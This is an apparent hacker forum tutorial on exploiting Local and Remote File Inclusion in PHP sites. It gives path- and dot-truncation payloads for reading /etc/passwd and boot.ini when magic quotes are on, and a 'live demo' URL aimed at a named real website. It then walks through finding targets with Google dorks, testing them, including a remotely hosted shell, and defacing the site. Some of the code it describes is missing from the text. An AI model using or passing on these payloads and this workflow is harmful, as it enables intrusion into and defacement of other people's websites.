LFI – Local File Inclusion Tutorial

 

Local File Inclusion with Magic_quotes_gpc enabled

Today we gonna have a look on how to exploit a site and get results on a site which is vuln to LFI but has “Magic_quotes_gpc enabled”.
So What is Magic_quotes_gpc enabled actually.I am pretty sure most of you people know what it is.For those who don’t know i will give a small note on what Magic Quotes are.

Magic Quotes, generally speaking, is the process of escaping special characters with a ‘\’ to allow a string to be entered into a database. This is considered ‘magic’ because PHP can do this automatically for you if you have magic_quotes_gpc turned on.

So let’s use consider a simple php code.


So to exploit it we need a nullbyte i-e .


www.site.com/index?page=../../../../../../../../../etc/passwd

But if magic_quote_gpc is enabled than the null byte i-e will get converted to /0, and as a result we wont be able to get our desired results.
This is what we gonna see in such cases.

Code:

Warning: include(/../../../../../etc/passwd [function.include]: failed to open stream: No such file or directory in /home/user/public_html/index.php
Bypassing Magic_Quotes.
1-Path Truncation:


?page=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …

In some cases i found this one working.


?page=../../../../../../../../../etc/passwd./././././././././././…

2-Dot Truncation:
This method works on windows only.So if we add a large number of dots at the end of query than null byte is not required.


page=../../../../../boot.ini………………………………………………………

Example:-
Here is a live demo.
http://www.belka-mvd.ru/view.php?action=../../../../../../../../../../../../../../../etc/passwd&view=././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

RFI – Remote File Inclusion Tutorial

Today I’m going to show you how RFI process goes Step By Step

#Searching for Vuln. Sites
#Checking if they are Vuln.
#Defacing them

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[#]Searching for Vuln. sites:

We can find Vuln.websites by using Google DorkS

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[#]Checking if they are Vuln. :
Now after we searched for sites on google, many sites will show but not all of them are Vuln.
so how can we check?

after opening the site check the link, for example it will be like:

http://www.tagert.com/index.php?page=ANYTHING

now to check the site we should replace “ANYTHING” with “http://www.google.com”

so it will be like :

http://www.tagert.com/index.php?page=htt…google.com

IF google home page showed up then the website is Vuln. for RFI,
IF not then fine another one

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[#]Defacing:

OK, now if we found a Vuln. website how to deface? o_O

well now open any website on any free host and upload your shell in .txt
and replace http://www.google.com to your shell link so for EXAPMLE it will be:
http://www.yourfreehost.com/shell.txt

http://www.tagert.com/index.php?page=htt…shell.txt?

[!]NOTE:- DO NOT FORGET THE ‘?’ in the end of the URL

Now your shell will show so Deface the site
happy h@cking

./Dr.Z0mbie